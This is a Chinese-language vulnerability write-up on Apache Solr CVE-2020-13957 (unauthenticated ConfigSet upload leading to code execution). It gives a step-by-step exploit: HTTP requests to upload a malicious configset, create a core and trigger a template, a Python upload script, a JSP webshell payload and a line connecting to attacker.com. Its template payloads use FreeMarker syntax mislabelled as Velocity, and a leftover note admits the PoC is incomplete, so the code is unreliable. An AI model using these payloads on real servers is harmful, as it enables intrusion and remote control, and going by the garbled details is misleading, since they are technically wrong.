# Apache Solr 未授權上傳RCE漏洞CVE-2020-13957的原理分析與驗證
## 漏洞概述
CVE-2020-13957是Apache Solr在2020年披露的一個高危漏洞,影響Solr 6.6.0至7.7.3以及8.0.0至8.6.2版本。該漏洞允許攻擊者通過未授權上傳惡意配置文件實現遠程代碼執行(RCE),CVSS評分為9.8(Critical)。本文將深入分析漏洞原理、利用條件及驗證方法。
## 技術背景
### Apache Solr架構特點
Solr是基于Lucene的搜索平臺,采用Java開發,主要功能包括:
- 通過HTTP/HTTPS提供RESTful API
- 使用configset管理核心配置
- 支持動態加載核心(Core)
### 關鍵機制:ConfigSet API
漏洞涉及的關鍵API端點:
/admin/configs?action=UPLOAD&name=[configset名]
該接口本應僅允許管理員上傳配置,但因權限校驗缺陷導致未授權訪問。
## 漏洞原理分析
### 根本原因
Solr在以下三個層面存在缺陷:
1. **權限校驗缺失**
`ConfigSetsHandler`未對UPLOAD操作實施身份驗證,繞過`security.json`的權限控制
2. **文件上傳邏輯缺陷**
允許上傳任意文件到臨時目錄,包括惡意Velocity模板
3. **Velocity模板注入**
攻擊者可注入包含Java代碼的模板,通過模板渲染觸發RCE
### 利用鏈分解
完整攻擊路徑分為四個階段:
1. 未授權上傳惡意configset
2. 創建使用該configset的新core
3. 惡意Velocity模板被加載
4. 觸發模板渲染執行系統命令
```java
// 漏洞代碼示例(簡化版)
public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) {
if (action.equals("UPLOAD")) {
// 缺失權限檢查
handleConfigUpload(req, rsp);
}
}
即使啟用認證,若未正確配置security.json中的規則,仍可能受影響:
{
"authentication":{...},
"authorization":{
"permissions":[{
"name":"config-edit",
"role":"admin" // 未限制UPLOAD操作
}]
}
}
使用Vulhub快速搭建測試環境:
docker-compose -f solr/8.6.0/CVE-2020-13957.yml up
發送探測請求:
GET /solr/admin/cores?wt=json HTTP/1.1
Host: target:8983
觀察返回的Solr版本信息
構造包含Velocity模板的ZIP包:
mkdir -p malicious/conf
echo '<#assign cmd="touch /tmp/pwned">${cmd}' > malicious/conf/test.vm
zip -r configset.zip malicious
通過API上傳:
POST /solr/admin/configs?action=UPLOAD&name=malicious HTTP/1.1
Content-Type: application/octet-stream
Host: target:8983
[ZIP文件二進制數據]
GET /solr/admin/cores?action=CREATE&name=pwned&configSet=malicious HTTP/1.1
Host: target:8983
訪問模板觸發命令執行:
GET /solr/pwned/select?q=1&&wt=velocity&v.template=test HTTP/1.1
Host: target:8983
使用Python實現自動化檢測:
import requests
def check_vuln(url):
upload_url = f"{url}/solr/admin/configs"
params = {'action':'UPLOAD','name':'exploit'}
files = {'file': open('malicious.zip','rb')}
resp = requests.post(upload_url, params=params, files=files)
return resp.status_code == 200
升級至以下版本: - Solr 7.7.4+ - Solr 8.6.3+
補丁關鍵修改:
1. 強制校驗config-edit權限
2. 限制上傳文件類型
iptables -A INPUT -p tcp --dport 8983 -s !trusted_ip -j DROP
{
"permissions": [
{
"name": "config-edit",
"role": "admin",
"path": "/admin/configs",
"methods": ["POST"]
}
]
}
Solr使用Velocity渲染UI時:
1. 解析.vm模板文件
2. 執行#assign定義的Java代碼
3. 通過反射調用任意類方法
除基礎RCE外,攻擊者還可: 1. 寫入Webshell:
<#assign f=file.getWriter()>${f.write('<% Runtime.getRuntime().exec(request.getParameter("cmd")) %>')}
<#assign c=new java.net.URL("http://attacker.com").openConnection()>${c.getInputStream()}
<requestHandler name="/admin/logging">
<str name="enabled">true</str>
</requestHandler>
CVE-2020-13957暴露了Solr在權限控制和文件處理方面的嚴重缺陷。通過本文分析可見: 1. 未授權API訪問是云原生應用的常見威脅 2. 模板注入成為Java應用的新型攻擊向量 3. 配置錯誤會顯著擴大攻擊面
建議企業建立完善的組件資產管理機制,及時跟進關鍵漏洞信息,避免因中間件漏洞導致系統性風險。 “`
注:實際使用時需要: 1. 補充完整的PoC代碼 2. 添加截圖和流量示例 3. 根據實際測試調整細節 4. 注意法律合規性
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。